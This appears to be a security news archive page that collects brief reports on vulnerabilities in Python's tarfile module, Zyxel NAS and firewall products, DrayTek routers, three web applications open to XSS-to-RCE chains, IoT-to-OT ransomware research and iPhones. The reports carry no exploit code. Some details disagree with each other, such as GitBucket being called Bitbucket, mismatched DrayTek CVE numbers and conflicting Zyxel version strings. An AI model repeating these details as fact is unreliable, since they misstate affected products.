Bugs Flaws python Remote Code Execution Security Vulnerabilities and Exploits

Unpatched 15-year Old Python Flaw Allows Code Execution in 350k Projects

 

As many as 350,000 open-source projects are potentially vulnerable to exploitation due to a 15-year-old security vulnerability in a Python module. The open-source repositories cover a wide range of industries, including software development, artificial intelligence/machine learning, web development, media, security, and information technology management. 

The flaw, designated CVE-2007-4559 (CVSS score: 6.8), is deeply embedded in the tarfile module, and successful exploitation could result in code execution from an arbitrary file write. 

"The vulnerability is a path traversal attack in the extract and extract all functions in the tarfile module that allow an attacker to overwrite arbitrary files by adding the '..' sequence to filenames in a TAR archive," Trellix security researcher Kasimir Schulz said in a writeup.

The bug, first reported in August 2007, relates to how a specially crafted tar archive can be used to overwrite arbitrary files on a target machine simply by opening the file.

Simply put, a threat actor can exploit the flaw by uploading a malicious tarfile in a way that allows the adversary to escape the directory that a file is intended to be extracted to and achieve code execution, potentially allowing the adversary to seize control of a target device.

"Never extract archives from untrusted sources without prior inspection," the Python documentation for tarfile reads. "It is possible that files are created outside of path, e.g. members that have absolute filenames starting with '/' or filenames with two dots '..'."

The flaw is similar to a recently disclosed security flaw in RARlab's UnRAR utility (CVE-2022-30333), which could result in remote code execution. Trellix has also released a custom utility called Creosote to scan for projects vulnerable to CVE-2007-4559, revealing the vulnerability in both the Spyder Python IDE and Polemarch.

"Left unchecked, this vulnerability has been unintentionally added to hundreds of thousands of open- and closed-source projects worldwide, creating a substantial software supply chain attack surface," Douglas McKee noted.
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Zyxel
CVE vulnerability Cyber Security QNAP Ransomware Attacks. Remote Code Execution Zyxel

Zyxel Updates NAS Devices to Fix Potential Security Flaw

Shaposhnikov Ilya alerted about a major security vulnerability, targeting Zyxel's network-attached storage (NAS) device. The vulnerability was identified as CVE-2022-3474 and the patches for the same were released. The vulnerability officially described as a 'format string vulnerability' affects Zyxel NAS326 firmware versions before V5.21(AAZF.12)C0 and has a CVSS score of 9.8/10.

An attacker could take advantage of the issue by sending specially created UDP packets to vulnerable products. The firm said in an alert that a successful flaw exploit might allow a hacker to run whatever code they want on the vulnerable device.

Zyxel provided security upgrades in May 2022 to address a number of vulnerabilities impacting a variety of products, including firewall, AP, and AP controller products.

The following versions are affected by the flaw:
  • NAS326 (versions before V5.21(AAZF.11)C0)
  • NAS540 (versions prior to V5.21(AATB.8)C0), and
  • Prior to V5.21(ABAG.8)C0, NAS542
This revelation follows Zyxel's July patching of the CVE-2022-30526 and CVE-2022-2030 vulnerabilities impacting its firewall products, which affect local root access and authenticated directory traverse.

The four vulnerabilities with the command injection bug in some CLI commands classified as CVE-2022-26532 being the most critical are as follows: 
  • CVE-2022-0734: A cross-site scripting vulnerability was found in the CGI program of various firewall versions, which could let an attacker use a malicious script to access data stored in the user's browser, like cookies or session tokens.
  • CVE-2022-26531: Several erroneous input validation problems were discovered in several CLI commands of some firewall, AP controller, and AP versions that might let a local authorized attacker bring down the system or trigger a buffer overflow through the use of a specially crafted payload.
  • CVE-2022-26532: Certain firewall, AP controller, and AP versions contain the 'packet-trace' CLI command that contains a command injection vulnerability that might allow a local, authorized attacker to execute arbitrary OS instructions by providing specially crafted inputs to the function.
  • CVE-2022-0910: In the CGI program of various firewall versions, an authentication bypass issue resulting from a deficient access control mechanism has been discovered. An attacker may be able to use an IPsec VPN client to switch from two-factor verification to one-factor verification due to the bug.
A few days after QNAP issued a warning about a fresh wave of Deadbolt ransomware attacks aimed at its NAS consumers, Zyxel released its caution. 

In earlier assaults that exploited another critical-severity vulnerability resulting in remote code execution, a Mirai botnet variant targeted Zyxel NAD products.

Remote code execution flaws in NAS devices, which are frequently used to store massive amounts of data, might easily result in complete device compromise. NAS devices are frequently the target of ransomware assaults. 


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Vulnerability and Exploits.
Bug CVE vulnerability Remote Code Execution Vulnerabilities and Exploits Vulnerability and Exploits.

Bug Discovered in DrayTek Vigor Routers by Trellix

The widely used series of DrayTek Vigor routers for small businesses have been found to have a significant, pre-authenticated remote code execution (RCE) vulnerability. Researchers caution that if it is exploited, it may enable total device takeover as well as access to a larger network.

The DrayTek Vigor series of business routers has 29 variants that are vulnerable, according to threat detection company Trellix. Although other versions that share the same codebase are also affected, the problem was initially identified in a Vigor 3910 device.

In under 30 days from the time, it was discovered, the Taiwan-based maker delivered firmware patches to fix the flaw. 

The vulnerability CVE-2022-3254 could enable a remote, unauthenticated attacker to run arbitrary code and seize total control of a susceptible device. The hacker might get hold of breach private data, spy on network activity, or use the exploited router to run a botnet. Denial of service (DoS) conditions can result from unsuccessful exploitation efforts.

DrayTek Vigor devices benefited from the "work from home" trend during the pandemic to gain a reputation. Over 700,000 online devices were found in a Shodan search, with the majority being in the UK, Vietnam, Netherlands, and Australia. This is susceptible to attack without user input.

The vulnerability can be exploited without the need for user input or passwords thanks to the default device configuration, which allows for both LAN and internet access.

At least 200,000 of the discovered routers were determined by the researchers to expose the vulnerable service on the internet, making them easily exploitable without user input or any other specific requirements. The attack surface is reduced because many of the remaining 500,000 are considered vulnerable using one-click attacks, but only via LAN.

Although Trellix has not detected any evidence of this vulnerability being exploited in the wild, threat actors frequently employ DrayTek routers as a target for their hacks, therefore it's crucial that customers apply the patch as soon as they can.

There have been no indications of CVE-2022-32548, although as CISA recently highlighted, state-sponsored APTs from China and others frequently target SOHO routers.
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XSS
Gitbucket Remote Code Execution Vulnerabilities and Exploits XSS

Three XSS Bugs Can Cause Complete System Shutdown



What is the bugs trio?

Cybersecurity experts have rolled out information about a trio of cross-site scripting (XSS) vulnerabilities in famous open-source applications that can cause remote code execution (RCE).

Researchers from PT Swarm found the security bugs in the web development applications Evolution CMS, FUDForum, and Gitbucket. 

A primitive XSS attack lets the threat actor's JavaScript code run in the victim user's web browser, which opens the door for cookie theft, redirects to a phishing site, and a lot more. 

Cross-Site Scripting (XSS) is one of the most widely faced attacks in web apps. If a threat actor deploys a javascript code into the app output, not only steals cookies, but it also leads to complete compromise of the systems sometime. In this blog post, we'll try to understand how XSS-driven remote code execution is achieved through examples of Evolution CMS, FUDForum, and Gitbucket. 

Evolution CMS V3.1.8

The first bug, Evolution CMS V3.1.8, allows a hacker to launch a reflected XSS attack in various locations in the admin section. Aleksey Solovev says in case of a successful attack on an administrator authorized in the system, the index.php file will be overwritten with the code that the attacker placed in the payload.

FUDForum v3.1.1

The second vulnerability, discovered in FUDForum v3.1.1, can possibly let a hacker launch a stored XSS attack.  Aleksey Solovev says FUDforum is a super fast and scalable discussion forum. It is highly customizable and supports unlimited members, forums, posts, topics, polls, and attachments. 

The FUDforum admin panel has a file manager that allows you to upload files to the server, including files with the PHP extension. An attacker can use stored XSS to upload a PHP file that can execute any command on the server.

Bitbucket v4.37.1

In the last vulnerability, Bitbucket v4.37.1, a security bug was found that can allow an attacker to launch a stored XSS attack in various locations. Aleksey Solovev says having a stored XSS attack can try to exploit it in order to execute code on the server. The admin panel has tools for performing SQL queries – Database viewer.

GitBucket uses H2 Database Engine by default. For this database, there is a publicly available exploit to achieve a Remote Code Execution. So, all an attacker needs to do is create a PoC code based on this exploit, upload it to the repository and use it during an attack:


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Remote Code Execution
Crypto Mining Forescout Research Labs IoT IT Network malware PoC Exploit Code Ransomware Attacks. Remote Code Execution

IoT and OT Impacted by Forescout Proof-of-Concept Ransomware Attack

 

Attackers will grow as defenders improve at resisting double extortion. Rather than focusing on IT, an option is to target operational technology (OT). Attacks on OT are not only harder to execute, but their consequences are also more difficult to mitigate.

Vedere Labs, a division of Forescout, has released a proof of concept (PoC) for a 'ransomware' attack that employs IoT for access, IT for traversal, and OT for detonation. Commonly known as R4IoT, it's the latest version of ransomware. R4IoT's ultimate purpose is to get an initial foothold by exploiting exposed and unprotected IoT devices like IP cameras, then installing ransomware in the IT network and using poor operational security procedures to enslave mission-critical systems. 

"It basically comes out of our observation of the shifting nature of the threat actors involved in ransomware — they've been changing strategies in the last couple of years," Daniel dos Santos, head of security research at Forescout's Vedere Labs, explained. The tipping point for thieves to start attacking such devices for ransomware assaults, according to dos Santos, "will most likely be when the IT and OT devices cross 50%." "And that'll be very soon. It will take between one and two years." 

According to the survey, Axis and Hikvision account for 77% of the IP cameras used by Forescout's 1,400 global customers. Axis cameras alone were responsible for 39% of the total. "This shows that exploiting IP camera flaws as a repeatable point of entry to a variety of businesses is a possibility," stated dos Santos in a report. 

In a neutral setting, this may mean infiltrating a corporate network system to drop ransomware and retrieve other payloads from a remote server to deploy cryptocurrency miners and perform DoS assaults against OT assets. Organizations should identify and patch vulnerable devices, enforce network segmentation, adopt strong password rules, and monitor HTTPS connections, FTP sessions, and network traffic to reduce the possibility and impact of possible R4IoT incidents.

"Ransomware has been the most frequent threat in recent years, and it has largely crippled enterprises by exploiting flaws in traditional IT equipment," the researchers noted. Dos Santos advised using the NIST Cybersecurity Framework and zero-trust architecture, as well as effective network segmentation.
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Vulnerabilities and Exploits
Apple Devices Credential Phishing iOS security iPhone NFC cards Remote Code Execution Threat actors Vulnerabilities and Exploits

Even When Switched Off, iPhones are Vulnerable to Attack

 

The way Apple combines autonomous wireless technology such as Bluetooth, Near Field Communication (NFC), and Ultra-wideband (UWB) in the device, researchers determined that it could be exploited by attackers to target iPhones even when they are turned off. 

Such features—which have access to the iPhone's Secure Element (SE), which stores sensitive information—stay on even when modern iPhones are turned off, as per a team of researchers from Germany's Technical University of Darmstadt. This allows attackers to "load malware onto a Bluetooth chip that is performed when the iPhone is off," according to a research study titled "Evil Never Sleeps: When Wireless Malware Stays On After Turning Off iPhone."

As per Jiska Classen, Alexander Heinrich, Robert Reith, and Matthias Hollick of the university's Secure Mobile Networking Lab, attackers can gain access to secure information such as a user's credit card data, banking details, or even digital car keys on the device by compromising these wireless features. Researchers noted that while the risk is real, exploiting the circumstance is not that simple for would-be attackers. Threat actors will still need to load malware onto the iPhone when it is turned on for subsequent execution when it is turned off. This would require system-level access or remote code execution (RCE), which they might gain by exploiting known weaknesses like BrakTooth. 

The main cause of the problem is the existing implementation of low power mode (LPM) for wireless chips on iPhones. The experts distinguished between the LPM which these processors employ and the power-saving program that iPhone users can use to save battery life. Because LPM support is built into the iPhone's hardware, it cannot be deleted with system upgrades, and has "a long-term impact on the broader iOS security paradigm," according to the researchers.

Analysts disclosed their findings to Apple before publishing the study, but they claim the company did not respond to the difficulties revealed by their findings. It is recommended that one possible solution would be for Apple to implement "a hardware-based switch to disconnect the battery" so that these wireless parts would not have power while an iPhone is turned off.
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